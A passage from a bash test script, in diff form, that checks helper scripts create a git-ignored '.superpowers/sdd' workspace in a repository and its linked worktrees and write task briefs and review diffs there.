echo " [FAIL] $1" + FAILURES=$((FAILURES + 1)) +} + +cleanup() { + if [[ -n "$TEST_ROOT" && -d "$TEST_ROOT" ]]; then + rm -rf "$TEST_ROOT" + fi +} + +main() { + echo "=== Test: sdd-workspace ===" + + TEST_ROOT="$(mktemp -d)" + trap cleanup EXIT + + # Resolve repo to its physical path so string comparisons match the + # helper's output (git rev-parse --show-toplevel resolves symlinks; on + # macOS mktemp lives under /var -> /private/var). + git init -q -b main "$TEST_ROOT/repo" + local repo + repo="$(cd "$TEST_ROOT/repo" && git rev-parse --show-toplevel)" + + local dir + dir="$(cd "$repo" && "$SDD_SCRIPTS/sdd-workspace")" + + if [[ "$dir" == "$repo/.superpowers/sdd" ]]; then + pass "prints <repo-root>/.superpowers/sdd" + else + fail "prints <repo-root>/.superpowers/sdd" + echo " got: $dir" + fi + + if [[ -f "$repo/.superpowers/sdd/.gitignore" && "$(cat "$repo/.superpowers/sdd/.gitignore")" == "*" ]]; then + pass "self-ignoring .gitignore created with '*'" + else + fail "self-ignoring .gitignore created with '*'" + fi + + printf 'x\n' > "$repo/.superpowers/sdd/artifact.md" + local status + status="$(cd "$repo" && git status --porcelain)" + if [[ -z "$status" ]]; then + pass "workspace invisible to git status" + else + fail "workspace invisible to git status" + echo " status: $status" + fi + + ( cd "$repo" && git add -A ) + local staged + staged="$(cd "$repo" && git diff --cached --name-only)" + if [[ -z "$staged" ]]; then + pass "git add -A does not stage the workspace" + else + fail "git add -A does not stage the workspace" + echo " staged: $staged" + fi + + cat > "$repo/plan.md" <<'PLAN' +# Plan + +## Task 1: First thing + +Do the first thing. +PLAN + + local brief_out brief_path + brief_out="$(cd "$repo" && "$SDD_SCRIPTS/task-brief" plan.md 1)" + brief_path="$(printf '%s\n' "$brief_out" | sed -n 's/^wrote \(.*\): [0-9][0-9]* lines$/\1/p')" + case "$brief_path" in + "$repo/.superpowers/sdd/"*) pass "task-brief writes its brief under the workspace" ;; + *) + fail "task-brief writes its brief under the workspace" + echo " got: $brief_path" + ;; + esac + + local git_id=(-c user.email=t@example.com -c user.name=t -c commit.gpgsign=false) + ( cd "$repo" \ + && git add plan.md \ + && git "${git_id[@]}" commit -qm c1 \ + && printf 'y\n' > f && git add f \ + && git "${git_id[@]}" commit -qm c2 ) + local rp_out rp_path + rp_out="$(cd "$repo" && "$SDD_SCRIPTS/review-package" HEAD~1 HEAD)" + rp_path="$(printf '%s\n' "$rp_out" | sed -n 's/^wrote \(.*\): [0-9].*$/\1/p')" + case "$rp_path" in + "$repo/.superpowers/sdd/"*) pass "review-package writes its diff under the workspace" ;; + *) + fail "review-package writes its diff under the workspace" + echo " got: $rp_path" + ;; + esac + + # --- Worktree isolation: a linked worktree resolves its own workspace --- + local wt="$TEST_ROOT/wt" + ( cd "$repo" && git worktree add -q "$wt" -b wt-feature ) + local wt_root wt_dir + wt_root="$(cd "$wt" && git rev-parse --show-toplevel)" + wt_dir="$(cd "$wt" && "$SDD_SCRIPTS/sdd-workspace")" + if [[ "$wt_dir" == "$wt_root/.superpowers/sdd" && "$wt_dir" != "$dir" ]]; then + pass "linked worktree resolves its own distinct workspace" + else + fail "linked worktree resolves its own distinct workspace" + echo " main: $dir" + echo " wt: $wt_dir" + fi + + printf 'y\n' > "$wt/.superpowers/sdd/artifact.md" + local wt_status + wt_status="$(cd "$wt" && git status --porcelain)" + if [[ -z "$wt_status" ]]; then + pass "worktree workspace invisible to git status" + else + fail "worktree workspace invisible to git status" + echo " status: $wt_status" + fi + + echo "" + if [[ "$FAILURES" -ne 0 ]]; then + echo "FAILED: $FAILURES assertion(s)." + exit 1 + fi + echo "PASS" +} + +main "$@"